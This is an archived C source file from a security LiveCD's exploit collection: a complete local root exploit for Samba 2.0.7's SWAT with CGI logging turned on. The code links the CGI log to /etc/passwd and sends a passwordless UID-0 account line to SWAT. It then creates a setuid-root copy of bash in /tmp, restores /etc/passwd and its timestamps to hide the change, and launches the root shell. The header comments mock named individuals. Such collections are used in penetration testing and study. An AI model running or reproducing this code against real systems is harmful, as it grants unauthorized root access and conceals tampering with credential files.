home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / samba / swat-exp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  81 lines

  1. /****************************************************************************\
  2. **                                                                          **
  3. **   Swat exploit for Samba 2.0.7 compiled with the cgi logging turned on   **
  4. **                                                                          **
  5. **   shell script version available for our friends, the self-proclaimed    **
  6. **   security experts at corky.net (h4h32h4h4h4h4), using netcat, as they   **
  7. **   deem more elegant than a self-contained exploit (ala this .c), l4m3    **
  8. **   exploit by optyx <optyx@uberhax0r.net>                                 **
  9. **   vulnerability discoverd by miah <miah@uberhax0r.net>                   **
  10. **                                                                          **
  11. **   on a side note, Just Marc rocks, so much, he doesn't set an sa pass    **
  12. **   on his mysql server (doesn't take an elite hacker to use mysqlclient)  **
  13. **   oh and a special message:                                              **
  14. **   Hey babe, your hair's alright Hey babe, let's go out tonight (h4h4h)   **
  15. **                                                                          **
  16. \****************************************************************************/                  
  17. #include <stdio.h>
  18. #include <sys/socket.h>
  19. #include <netinet/in.h>
  20.  
  21. #define REALLY_FUCKING_LONG_COMMAND "su uberhaxr -c \"cp -pdf /tmp/.bak \
  22. /etc/passwd; chown root.root /etc/passwd; touch -fr /tmp/.bak /etc/passwd\""
  23.  
  24. int main(void) {
  25.  
  26.    int r, s;
  27.    struct sockaddr_in s_addr;
  28.    
  29.    printf("backing up /etc/passwd\n");
  30.    system("cp -pd /etc/passwd /tmp/.bak");
  31.    system("touch -r /etc/passwd /tmp/.bak");
  32.  
  33.    if(system("/bin/ln -sf /etc/passwd /tmp/cgi.log") > 0) {
  34.       printf("error, /tmp/cgi.log could not be linked to /etc/passwd\n");
  35.       unlink("/tmp/.bak");
  36.       exit(-1);
  37.    }
  38.  
  39.    printf("connecting to swat\n");
  40.    s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  41.  
  42.    if(s < 0) {
  43.       printf("error, could not create socket\n");
  44.       unlink("/tmp/.bak");
  45.       unlink("/tmp/cgi.log");
  46.       exit(-1);
  47.    }
  48.  
  49.    s_addr.sin_family = PF_INET;
  50.    s_addr.sin_port = htons(901);
  51.    s_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
  52.    r = connect(s, (struct sockaddr *) &s_addr, sizeof(s_addr));
  53.  
  54.    if(r==-1) {
  55.       printf("error, cannot connect to swat\n");
  56.       unlink("/tmp/.bak");
  57.       unlink("/tmp/cgi.log");
  58.       exit(-1);
  59.    }
  60.  
  61.    send(s, "uberhaxr::0:0:optyx r0x y3r b0x:/:/bin/bash\n", 1024, 0);
  62.    close(s);
  63.  
  64.    if(system("su -l uberhaxr -c \"cp -f /bin/bash /tmp/.swat\"") > 0) {
  65.       printf("exploit failed\n");
  66.       unlink("/tmp/.bak");
  67.       unlink("/tmp/cgi.log");
  68.       exit(-1);
  69.    }
  70.  
  71.    system("su -l uberhaxr -c \"chmod u+s /tmp/.swat\"");
  72.    printf("restoring /etc/passwd\n");   
  73.    system(REALLY_FUCKING_LONG_COMMAND);
  74.    unlink("/tmp/.bak");
  75.    unlink("/tmp/cgi.log");
  76.    printf("got root? (might want to rm /tmp/.swat)\n");
  77.    system("/tmp/.swat"); 
  78.      
  79.    return 0; 
  80. }
  81.